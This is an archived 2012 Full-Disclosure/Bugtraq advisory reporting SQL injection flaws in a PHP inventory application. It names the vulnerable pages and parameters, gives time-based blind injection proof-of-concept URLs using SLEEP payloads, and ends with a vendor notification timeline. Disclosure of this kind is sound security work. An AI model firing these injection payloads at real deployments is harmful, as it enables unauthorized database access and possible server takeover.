| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAJE=EcZmosMtfKxv3ygrrGK6QaGufnKjAGVvyrQUsjzJ7nrSwg@mail.gmail.com> Date: Fri, 26 Oct 2012 09:27:26 -0400 From: Thomas Richards <g13net@...il.com> To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com Subject: Inventory 1.0 Multiple SQL Vulnerabilities # Exploit Title: Inventory 1.0 Multiple SQL Vulnerabilities # Date: 10/19/12 # Author: G13 # Twitter: @g13net # Software Site: https://github.com/farevalod/inventory # Version: 1.0 # Category: webapp (php) # dc585 ##### ToC ##### 0x01 Description 0x02 SQL Injection 0x03 Vendor Notification ##### 0x01 Description ##### PHP + SQL Inventory tracking system ##### 0x02 SQL Injection ##### The Inventoy application has muliple pages and parameters that are vulnerable to SQL injection. These vulnerabilities could be used to extract information from the database or take remote control of the server. -----Vulnerable Pages----- http://localhost/inventory/consulta_fact.php?fact_num=[SQLi] http://localhost/inventory/addinventario.php?ref=[SQLi]&sn=[SQLi]&factura=[SQLi] http://localhost/inventory/newtransact.php?ref=[SQLi] -----PoC Exploits----- http://localhost/inventory/consulta_fact.php?fact_num=17 AND SLEEP(5) http://localhost/inventory/addinventario.php?ref=555-555-0199@example.com' AND SLEEP(5) AND 'EJxe'='EJxe&sn=555-555- 0199@...mple.com' AND SLEEP(5) AND 'IgkP'='IgkP&factura=555-555-0199@...mple.com' AND SLEEP(5) AND 'CFdY'='CFdY http://localhost/inventory/newtransact.php?ref=RSC-280' AND SLEEP(5) AND 'wIUB'='wIUB ##### 0x03 Vendor Notification ##### 10/19/12 - Vendor Notified 10/26/12 - No response, disclosure
Powered by blists - more mailing lists